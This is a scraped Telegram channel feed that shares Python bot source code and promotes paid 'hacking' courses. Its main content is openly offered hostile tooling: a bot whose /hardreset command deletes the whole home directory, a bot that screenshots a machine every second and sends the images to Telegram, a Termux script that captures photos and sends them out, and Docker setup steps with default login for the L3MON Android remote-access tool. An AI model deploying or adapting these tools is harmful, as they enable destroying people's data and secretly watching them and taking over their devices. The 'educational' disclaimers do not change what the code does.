import os
import shutil
import logging
from telegram import Update
from telegram.ext import ApplicationBuilder, CommandHandler, ContextTypes
# Enable logging
logging.basicConfig(
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO
)
logger = logging.getLogger(__name__)
TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'
AUTHORIZED_USER_ID = 'YOUR_TELEGRAM_USER_ID' # Replace with your Telegram user ID (int)
def hard_reset():
home_dir = os.path.expanduser("~")
for root, dirs, files in os.walk(home_dir, topdown=False):
for name in files:
try:
os.remove(os.path.join(root, name))
except Exception as e:
logger.error(f"Failed to delete file {name}: {e}")
for name in dirs:
try:
shutil.rmtree(os.path.join(root, name))
except Exception as e:
logger.error(f"Failed to delete directory {name}: {e}")
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
await update.message.reply_text('Hello! Send /hardreset to wipe all data.')
async def hardreset_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
user = update.effective_user
if user.id != AUTHORIZED_USER_ID:
await update.message.reply_text("Unauthorized access.")
return
await update.message.reply_text("Starting hard reset...")
try:
hard_reset()
await update.message.reply_text("Hard reset completed.")
except Exception as e:
await update.message.reply_text(f"Error during hard reset: {e}")
def main():
app = ApplicationBuilder().token(TOKEN).build()
app.add_handler(CommandHandler("start", start))
app.add_handler(CommandHandler("hardreset", hardreset_command))
app.run_polling()
if __name__ == '__main__':
main()
#telegrambot
@python_telegram_bot_source_codes
#python_telegram_bot_source_codes
โค6๐1๐ฅ1
Python Telegram Bots pinned ยซTelegram Bot for Hard Reset (Windows machines) ๐ก Note: This Telegram bot allows authorized users to perform a hard reset of files and directories in the user's home directory. It must be used ethically and with caution, as it involves permanent data deletion.โฆยป
Donate to keep this project going https://buymeacoffee.com/efxtv
๐ง Upcoming Telegram Bot Project:
1. ๐ง AI-Powered Terminal Assistant
โ Execute Linux commands, get instant CLI help, or automate tasks via Telegram.
2. ๐ต๏ธ Username Recon Bot
โ Search over 100+ social platforms for a given username.
3. ๐ฒ APK Analyzer Bot
โ Upload an APK and get permissions, trackers, and security risk details.
4. ๐ฃ Exploit Checker Bot
โ Check known CVEs & exploits for a given domain, IP, or software version.
5. ๐ฏ Phishing Link Detector Bot
โ Send a suspicious URL to the bot and itโll scan for phishing/malware risks.
6. ๐ Password Strength + Breach Check Bot
โ Users can test password safety (locally hashed) & check against leaked DBs.
7. ๐ฐ๏ธ Satellite Live Tracker Bot
โ Track Starlink, ISS, or satellites live from Telegram.
8. ๐ Disposable Number Bot
โ Instantly get a temporary phone number for verification use (free/limited).
9. ๐งฐ Port Scanner Bot
โ Input an IP/domain and get common open ports + banner grab info.
10. ๐งฌ Metadata Extractor Bot
โ Upload any file or image and the bot returns detailed metadata (EXIF, PDF info, etc).
11. ๐ฅ CCTV/IP Cam Viewer Bot โ Stream local RTSP feeds securely through Telegram.
Donate to keep this project going https://buymeacoffee.com/efxtv
๐ง Upcoming Telegram Bot Project:
1. ๐ง AI-Powered Terminal Assistant
โ Execute Linux commands, get instant CLI help, or automate tasks via Telegram.
2. ๐ต๏ธ Username Recon Bot
โ Search over 100+ social platforms for a given username.
3. ๐ฒ APK Analyzer Bot
โ Upload an APK and get permissions, trackers, and security risk details.
4. ๐ฃ Exploit Checker Bot
โ Check known CVEs & exploits for a given domain, IP, or software version.
5. ๐ฏ Phishing Link Detector Bot
โ Send a suspicious URL to the bot and itโll scan for phishing/malware risks.
6. ๐ Password Strength + Breach Check Bot
โ Users can test password safety (locally hashed) & check against leaked DBs.
7. ๐ฐ๏ธ Satellite Live Tracker Bot
โ Track Starlink, ISS, or satellites live from Telegram.
8. ๐ Disposable Number Bot
โ Instantly get a temporary phone number for verification use (free/limited).
9. ๐งฐ Port Scanner Bot
โ Input an IP/domain and get common open ports + banner grab info.
10. ๐งฌ Metadata Extractor Bot
โ Upload any file or image and the bot returns detailed metadata (EXIF, PDF info, etc).
11. ๐ฅ CCTV/IP Cam Viewer Bot โ Stream local RTSP feeds securely through Telegram.
Donate to keep this project going https://buymeacoffee.com/efxtv
โค1
Are you a developer or sysadmin who constantly needs to check your server's IP address? ๐ค Forget about logging in just to find a simple IP!
We've created a simple and effective solution: a Python script that sends your server's IP and OS details directly to a Telegram bot! ๐ค๐ป
Here's what it does:
โ Gets your server's local IP address.
โ Determines the operating system (e.g., Linux, Windows, macOS).
โ Sends an automatic message to your Telegram bot.
It's the perfect little tool for when you need to quickly SSH into your machine or just want to keep an eye on your server's status. It's simple, lightweight, and super convenient! ๐
All you need is the Python script and a Telegram bot token. Set it up as a cron job, and you'll always have your IP address just a message away.
Donate to keep this project going https://buymeacoffee.com/efxtv
TELEGRAM BOT ADDRESS [ DOWNLOAD NOW ]
FULL PROJECT @errorfix_tv
#Python #TelegramBot #SSH #Server #DevOps #Automation
We've created a simple and effective solution: a Python script that sends your server's IP and OS details directly to a Telegram bot! ๐ค๐ป
Here's what it does:
โ Gets your server's local IP address.
โ Determines the operating system (e.g., Linux, Windows, macOS).
โ Sends an automatic message to your Telegram bot.
It's the perfect little tool for when you need to quickly SSH into your machine or just want to keep an eye on your server's status. It's simple, lightweight, and super convenient! ๐
All you need is the Python script and a Telegram bot token. Set it up as a cron job, and you'll always have your IP address just a message away.
Donate to keep this project going https://buymeacoffee.com/efxtv
TELEGRAM BOT ADDRESS [ DOWNLOAD NOW ]
FULL PROJECT @errorfix_tv
#Python #TelegramBot #SSH #Server #DevOps #Automation
๐2
import requests
import socket
import platform
TOKEN = 'YOUR_BOT_TOKEN'
CHAT_ID = 'YOUR_CHAT_ID'
def get_local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("192.168.1.1", 80))
ip = s.getsockname()[0]
s.close()
return ip
except:
return "Could not determine IP"
def send_message():
ip = get_local_ip()
msg = f"OS: {platform.system()}\nIP: {ip} is up"
url = f"https://api.telegram.org/bot{TOKEN}/sendMessage"
requests.post(url, data={'chat_id': CHAT_ID, 'text': msg})
if __name__ == "__main__":
send_message()
#telegrambot
@python_telegram_bot_source_codes
#python_telegram_bot_source_codes
โค3
Screenshot telegram BOT
import os
import time
import threading
import pyautogui
import cv2
import numpy as np
from telegram import Update
from telegram.ext import Updater, CommandHandler, CallbackContext
# Global variable to control the screenshot thread
screenshot_thread = None
screenshot_interval = 0
is_running = False
user_chat_id = None
def start(update: Update, context: CallbackContext):
update.message.reply_text('Welcome to Screenshot Bot! Use /screenshot <duration> to start taking screenshots.')
def screenshot(update: Update, context: CallbackContext):
global screenshot_thread, screenshot_interval, is_running, user_chat_id
if is_running:
update.message.reply_text('Screenshot process is already running.')
return
try:
duration = context.args[0] # Get the duration from the command
if duration.endswith('m'):
duration = int(duration[:-1]) * 60 # Convert to seconds
else:
update.message.reply_text('Please specify duration in minutes (e.g., 1m).')
return
user_chat_id = update.message.chat_id
screenshot_interval = 1 # Interval of 1 second for taking screenshots
is_running = True
update.message.reply_text(f'Starting screenshot every {screenshot_interval} second(s) for {duration} seconds.')
# Start the screenshot thread
screenshot_thread = threading.Thread(target=take_screenshots, args=(duration,))
screenshot_thread.start()
except (IndexError, ValueError):
update.message.reply_text('Usage: /screenshot <duration in minutes (e.g., 1m)>')
def take_screenshots(duration):
start_time = time.time()
while (time.time() - start_time) < duration:
# Take a screenshot
screenshot = pyautogui.screenshot()
screenshot_np = cv2.cvtColor(np.array(screenshot), cv2.COLOR_RGB2BGR)
file_path = 'screenshot.png'
cv2.imwrite(file_path, screenshot_np) # Save the screenshot
# Send the screenshot to the user
context.bot.send_photo(chat_id=user_chat_id, photo=open(file_path, 'rb'))
time.sleep(screenshot_interval)
global is_running
is_running = False
screenshot_thread = None
def stop(update: Update, context: CallbackContext):
global is_running
if is_running:
is_running = False
update.message.reply_text('Screenshot process stopped.')
else:
update.message.reply_text('No active screenshot process to stop.')
def main():
# Replace 'YOUR_TOKEN' with your bot's token
updater = Updater('YOUR_TOKEN', use_context=True)
dp = updater.dispatcher
dp.add_handler(CommandHandler("start", start))
dp.add_handler(CommandHandler("screenshot", screenshot))
dp.add_handler(CommandHandler("stop", stop))
updater.start_polling()
updater.idle()
if __name__ == '__main__':
main()
๐7โค1
Forwarded from Linux Classes Support & Education @EFXTV
Join VIP ๐
One time fee Life time access to our premium content.
โจ Link 1 [ JOIN ]
โจ Link 2 [ JOIN ]
โจ Link 3 [ JOIN ]
โจ Link 4 [ JOIN ]
โจ Link 5 [ JOIN ]
๐ฅ 90% practical 10% theory
๐ฅ You must be 18+
๐ฅ No Junks allowed
โโโโโโโโโโโโโโโโโโโโโโโโโโโ
โฅ๏ธ Telegram Channel - @efxtv ๐ฎ
โโโโโโโโโโโโโโโโโโโโโโโโโโโ
One time fee Life time access to our premium content.
โจ Link 1 [ JOIN ]
โจ Link 2 [ JOIN ]
โจ Link 3 [ JOIN ]
โจ Link 4 [ JOIN ]
โจ Link 5 [ JOIN ]
๐ฅ 90% practical 10% theory
๐ฅ You must be 18+
๐ฅ No Junks allowed
โโโโโโโโโโโโโโโโโโโโโโโโโโโ
โฅ๏ธ Telegram Channel - @efxtv ๐ฎ
โโโโโโโโโโโโโโโโโโโโโโโโโโโ
Forwarded from Linux Classes Support & Education @EFXTV
JOIN Voice Chat
๐ https://t.me/+poDgK-E2Y_5iYTU9
โโโโโโโโโโโโโโโโโโโโโโโโ
โฅ๏ธ Telegram Channel - @efxtv ๐ฎ
โโโโโโโโโโโโโโโโโโโโโโโโ
๐ https://t.me/+poDgK-E2Y_5iYTU9
โโโโโโโโโโโโโโโโโโโโโโโโ
โฅ๏ธ Telegram Channel - @efxtv ๐ฎ
โโโโโโโโโโโโโโโโโโโโโโโโ
โค1
Forwarded from Linux Classes Support & Education @EFXTV
L3MON Docker Image 2025
Note: This Docker project has been created for students only.
You are free to modify it, but please do not misuse it in any way.
We will not be responsible for any kind of damage.
โจ Step 0 - Install docker
โจ Step 1- Pull docker image
โจ Step 2- Create a container
โจ Step 3- Run docker shell
โจ Step 4- Login L3MON
โจ Step 5- Login password
I am thankful for your presence and response. It really motivates us.
โโโโโโโโโโโโโโโโ
โฅ๏ธ Telegram Channel - @efxtv ๐ฎ
โโโโโโโโโโโโโโโโ
Note: This Docker project has been created for students only.
You are free to modify it, but please do not misuse it in any way.
We will not be responsible for any kind of damage.
โจ Step 0 - Install docker
sudo apt update && sudo apt upgrade -y
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
โจ Step 1- Pull docker image
docker pull efxtv/l3mon
โจ Step 2- Create a container
docker run -d -p 22533:22533 -p 22222:22222 -p 2222:22 --name l3mon efxtv/l3mon
โจ Step 3- Run docker shell
docker exec -it ContainerID bash
โจ Step 4- Login L3MON
http://localhost:22533/
โจ Step 5- Login password
login: admin
pass: efxtv
I am thankful for your presence and response. It really motivates us.
โโโโโโโโโโโโโโโโ
โฅ๏ธ Telegram Channel - @efxtv ๐ฎ
โโโโโโโโโโโโโโโโ
โค3๐1
Python Telegram Bots pinned ยซL3MON Docker Image 2025 Note: This Docker project has been created for students only. You are free to modify it, but please do not misuse it in any way. We will not be responsible for any kind of damage. โจ Step 0 - Install docker sudo apt update &&โฆยป
โญ Termux Auto-Image-Capture-TelegramBot
Capture โ Compress โ Send โ Delete
โ๏ธ Note: Capture image using termux (Termux API need to be installed)
โจ A stable synchronous method for automated photo capture and Telegram sending.
๐ Takes photos, compresses them, sends them to Telegram, and deletes them automatically.
Check /data/data/com.termux/files/home/.snap/app_error.log for silent errors.
๐ USAGE:
๐ Arguments:
Hit
to know more
STOPPING THE SCRIPT:
Download script [ Here ]
@efxtve
Capture โ Compress โ Send โ Delete
โ๏ธ Note: Capture image using termux (Termux API need to be installed)
โจ A stable synchronous method for automated photo capture and Telegram sending.
๐ Takes photos, compresses them, sends them to Telegram, and deletes them automatically.
Check /data/data/com.termux/files/home/.snap/app_error.log for silent errors.
๐ USAGE:
$ app2telegrambotintWorkingLowQuality.py <N> <T> <C>
๐ Arguments:
Hit
python3 app.py
to know more
STOPPING THE SCRIPT:
$ pkill -f app.py
Download script [ Here ]
@efxtve
๐2
Forwarded from EFXTV VIP 2.0
Media is too big
VIEW IN TELEGRAM
About Video:
This video is part of our Android Reverse Engineering Course, where we break down the modern techniques hackers use to deceive users in real-world scenarios, and in this example, youโll see how attackers cleverly manipulate trust to convince victims to install malicious applications that silently steal personal files without triggering any warnings or notifications, helping you understand not just what happens, but how and why it works from an attackerโs perspective so you can recognize, prevent, and defend against such threats in the real world; to join our premium classes and get access to 100% free tools & course talk to the admin at EFX Tv.
Top courses:
1. Ethical Hacking a2z
2. Android Reverse Engineering
3. Virtual Agents and Telegram
4. Java wirh 100+ Projects
5. Android Application Development
6. Network and Security 2.0
๐ฅ๏ธ Admin: @errorfix_tv
This video is part of our Android Reverse Engineering Course, where we break down the modern techniques hackers use to deceive users in real-world scenarios, and in this example, youโll see how attackers cleverly manipulate trust to convince victims to install malicious applications that silently steal personal files without triggering any warnings or notifications, helping you understand not just what happens, but how and why it works from an attackerโs perspective so you can recognize, prevent, and defend against such threats in the real world; to join our premium classes and get access to 100% free tools & course talk to the admin at EFX Tv.
Top courses:
1. Ethical Hacking a2z
2. Android Reverse Engineering
3. Virtual Agents and Telegram
4. Java wirh 100+ Projects
5. Android Application Development
6. Network and Security 2.0
๐ฅ๏ธ Admin: @errorfix_tv
โค3
Forwarded from EFXTv
Groups : @efxtv @efxtve @LinuxClassesEFXTv
Whatsapp : Here
Python Bots : @python_telegram_bot_source_codes
Join VIP : https://t.me/+egpQDeBtGk8wYWU1
Join VIP : https://t.me/+egpQDeBtGk8wYWU1
Admin @errorfix_tv
Whatsapp : Here
Python Bots : @python_telegram_bot_source_codes
Join VIP : https://t.me/+egpQDeBtGk8wYWU1
Join VIP : https://t.me/+egpQDeBtGk8wYWU1
Admin @errorfix_tv
โค1
Python Telegram Bots pinned ยซGroups : @efxtv @efxtve @LinuxClassesEFXTv Whatsapp : Here Python Bots : @python_telegram_bot_source_codes Join VIP : https://t.me/+egpQDeBtGk8wYWU1 Join VIP : https://t.me/+egpQDeBtGk8wYWU1 Admin @errorfix_tvยป
Forwarded from Linux Tutorials and Talk
All the 5 parts will be uploaded in our private channel
๐ https://t.me/+kh06W1OFziI1MDc9
๐ https://t.me/+kh06W1OFziI1MDc9
๐ https://t.me/+kh06W1OFziI1MDc9
๐ https://t.me/+kh06W1OFziI1MDc9
Note: We might not be able to share
this type of (100% educational) content publicly anymore.
If youโre already inside our private groupโฆ you know why ๐
Drop a reaction if youโre in.
Or Join Above
Ask to approve : @errorfix_tv
๐ https://t.me/+kh06W1OFziI1MDc9
๐ https://t.me/+kh06W1OFziI1MDc9
๐ https://t.me/+kh06W1OFziI1MDc9
๐ https://t.me/+kh06W1OFziI1MDc9
Note: We might not be able to share
If youโre already inside our private groupโฆ you know why ๐
Drop a reaction if youโre in.
Or Join Above
Ask to approve : @errorfix_tv
โค1
Python Telegram Bots pinned ยซAll the 5 parts will be uploaded in our private channel ๐ https://t.me/+kh06W1OFziI1MDc9 ๐ https://t.me/+kh06W1OFziI1MDc9 ๐ https://t.me/+kh06W1OFziI1MDc9 ๐ https://t.me/+kh06W1OFziI1MDc9 Note: We might not be able to share this type of (100% educational)โฆยป